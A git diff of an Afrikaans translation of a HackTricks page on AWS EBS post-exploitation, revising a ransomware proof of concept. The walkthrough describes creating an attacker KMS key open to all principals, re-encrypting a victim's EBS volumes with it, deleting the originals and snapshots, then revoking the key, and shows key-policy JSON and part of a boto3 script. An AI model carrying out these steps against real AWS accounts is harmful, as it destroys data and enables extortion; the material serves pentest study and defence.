- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **na sensitiewe inligting in openbare of privaat Amazon Machine Images (AMIs) te soek**. Dit outomatiseer die proses om instances vanaf teiken-AMIs te begin, hul volumes te koppel, en hulle te deursoek vir potensiële secrets of sensitiewe data.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is 'n hulpmiddel wat ontwerp is om **te soek na sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs)**. Dit outomatiseer die proses om instances vanaf teiken-AMIs te begin, hul volumes te mount en te skandeer vir potensiële secrets of sensitiewe data.
|
||||
|
||||
### Deel EBS Snapshot
|
||||
```bash
|
||||
@@ -307,9 +311,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
'n bewys van konsep soortgelyk aan die Ransomware-demonstrasie wat in die S3 post-exploitation notes gedemonstreer is. KMS behoort hernoem te word na RMS vir Ransomware Management Service, gegewe hoe maklik dit is om verskeie AWS-dienste daarmee te enkripteer.
|
||||
'n bewys van konsep soortgelyk aan die Ransomware-demonstrasie in die S3 post-exploitation notas. KMS behoort hernoem te word na RMS vir Ransomware Management Service, gegewe hoe maklik dit is om verskeie AWS-dienste daarmee te enkripteer.
|
||||
|
||||
Eerstens, vanuit 'n 'attacker' AWS account, skep 'n klantbeheerde sleutel in KMS. Vir hierdie voorbeeld sal ons AWS net die sleuteldata vir my laat bestuur, maar in 'n realistiese scenario sou 'n malicious actor die sleuteldata buite AWS se beheer hou. Verander die sleutelbeleid om enige AWS account Principal toe te laat om die sleutel te gebruik. Vir hierdie sleutelbeleid was die account se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Outside Encryption' genoem.
|
||||
Eerstens, vanaf 'attacker' AWS rekening, skep 'n customer managed key in KMS. Vir hierdie voorbeeld sal ons AWS die key data vir ons bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die key data buite AWS se beheer behou. Verander die key policy om enige AWS account Principal toe te laat om die sleutel te gebruik. Vir hierdie key policy was die rekening se naam 'AttackSim' en die policy rule wat volle toegang gee word 'Outside Encryption' genoem.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -401,7 +405,7 @@ Eerstens, vanuit 'n 'attacker' AWS account, skep 'n klantbeheerde sleutel in KMS
|
||||
]
|
||||
}
|
||||
```
|
||||
Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om dit te gebruik om 'n EBS-volume te enkripteer:
|
||||
Die sleutelbeleid moet die volgende geaktiveer hê om die gebruik daarvan vir die enkripsie van 'n EBS-volume toe te laat:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -409,21 +413,21 @@ Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Nou, met die publiek-toeganklike sleutel beskikbaar om te gebruik, kan ons 'n 'victim' rekening gebruik wat 'n paar EC2-instances opgestart het met nie-geënkripteerde EBS-volumes aangeheg. Die EBS-volumes van hierdie 'victim' rekening is wat ons teiken vir enkripsie; hierdie aanval vind plaas onder die veronderstelling van 'n oortreding van 'n hoë-privilegie AWS-rekening.
|
||||
Nou, met die openbaar toeganklike sleutel beskikbaar, kan ons 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instansies gedraai het met ongeënkripteerde EBS-volumes aangeheg. Die EBS-volumes van hierdie 'slagoffer' rekening is wat ons teiken vir enkripsie; hierdie aanval vind plaas onder die veronderstelde oortreding van 'n hoë-privilege AWS-account.
|
||||
|
||||
 
|
||||
|
||||
Soortgelyk aan die S3 ransomware-voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep deur gebruik te maak van snapshots, die publiek beskikbare sleutel van die 'attacker' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instances loskoppel en verwyder, en uiteindelik die snapshots verwyder wat gebruik is om die nuut-geënkripteerde EBS-volumes te skep. 
|
||||
Soos in die S3 ransomware-voorbeeld. Die aanval gaan kopieë van die aangehegte EBS-volumes skep deur snapshots te gebruik, die openbaar beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instansies loskoppel en verwyder, en uiteindelik die snapshots verwyder wat gebruik is om die nuut enkripteerde EBS-volumes te skep. 
|
||||
|
||||
Dit lei daartoe dat slegs geënkripteerde EBS-volumes in die rekening oorbly.
|
||||
Die resultaat is dat slegs enkripteerde EBS-volumes in die rekening oorbly.
|
||||
|
||||
|
||||
|
||||
Ook vermeldenswaardig: die skrip het die EC2-instances gestop om die oorspronklike EBS-volumes los te koppel en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg.
|
||||
Dit is ook die moeite werd om te noem dat die script die EC2-instansies gestop het om die oorspronklike EBS-volumes los te koppel en te verwyder. Die oorspronklike ongeënkripteerde volumes is nou weg.
|
||||
|
||||
|
||||
|
||||
Gaan volgende terug na die sleutelbeleid in die 'attacker' rekening en verwyder die 'Outside Encryption' beleidreël uit die sleutelbeleid.
|
||||
Gaan daarna terug na die sleutelbeleid in die 'aanvaller' rekening en verwyder die 'Outside Encryption' beleidsreël uit die sleutelbeleid.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -494,15 +498,15 @@ Gaan volgende terug na die sleutelbeleid in die 'attacker' rekening en verwyder
|
||||
]
|
||||
}
|
||||
```
|
||||
Wag 'n oomblik sodat die nuut ingestelde sleutelbeleid kan deurwerk. Keer dan terug na die 'victim' rekening en probeer om een van die nuut-geënkripteerde EBS-volumes aan te heg. Jy sal sien dat jy die volume kan aanheg.
|
||||
Wag 'n oomblik sodat die pas ingestelde key policy kan versprei. Gaan dan terug na die 'victim' account en probeer om een van die pas geënkripteerde EBS volumes aan te heg. Jy sal vind dat jy die volume kan aanheg.
|
||||
|
||||
 
|
||||
|
||||
Maar wanneer jy probeer om die EC2 instance met die geënkripteerde EBS-volume weer op te start, sal dit net misluk en van die 'pending' toestand terug na die 'stopped' toestand gaan en daar bly, omdat die aangehegte EBS-volume nie met die key gedekripteer kan word nie aangesien die sleutelbeleid dit nie meer toelaat.
|
||||
Maar wanneer jy probeer om die EC2 instance regtig weer te begin met die geënkripteerde EBS volume, sal dit net misluk en van die 'pending' toestand terug na die 'stopped' toestand gaan en daar bly, omdat die aangehegte EBS volume nie met die key ontsleuteld kan word nie, aangesien die key policy dit nie meer toelaat nie.
|
||||
|
||||
 
|
||||
|
||||
Dit is die python script wat gebruik is. Dit neem AWS creds van 'n 'victim' rekening en 'n publiek beskikbare AWS ARN-waarde vir die sleutel wat vir enkripsie gebruik gaan word. Die script sal geënkripteerde kopieë maak van ALLE beskikbare EBS-volumes wat aangeheg is aan ALLE EC2-instances in die geteikende AWS-rekening, dan elke EC2-instance stop, die oorspronklike EBS-volumes loskoppel, dit uitvee, en uiteindelik al die snapshots wat tydens die proses gebruik is, verwyder. Dit sal slegs geënkripteerde EBS-volumes in die geteikende 'victim' rekening agterlaat. GEBRUIK HIERDIE SCRIPT SLEGS IN 'N TOETSOMGEWING — DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONGLIKE EBS-VOLUMES VERWYDER. Jy kan dit herstel met die gebruikte KMS key en dit via snapshots na hul oorspronklike toestand herstel, maar ek wil jou net bewus maak dat dit uiteindelik 'n ransomware PoC is.
|
||||
Dit is die python script wat gebruik is. Dit neem AWS creds vir 'n 'victim' account en 'n publiek beskikbare AWS ARN waarde vir die key wat vir enkripsie gebruik gaan word. Die script sal geënkripteerde kopieë maak van ALLE beskikbare EBS volumes wat aan ALLE EC2 instances in die geteikende AWS account geheg is, dan elke EC2 instance stop, die oorspronklike EBS volumes loskoppel, dit verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is, verwyder. Dit sal slegs geënkripteerde EBS volumes in die geteikende 'victim' account oorlaat. GEBRUIK DIT SLEGS IN 'N TOETSMILIEU, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONGLIKE EBS VOLUMES WEGMAAK. Jy kan hulle herstel deur die gebruikte KMS key te gebruik en hulle na hul oorspronklike toestand via snapshots te herstel, maar ek wil jou net daarop wys dat dit uiteindelik 'n ransomware PoC is.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -621,8 +625,10 @@ main()
|
||||
```
|
||||
## Verwysings
|
||||
|
||||
- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user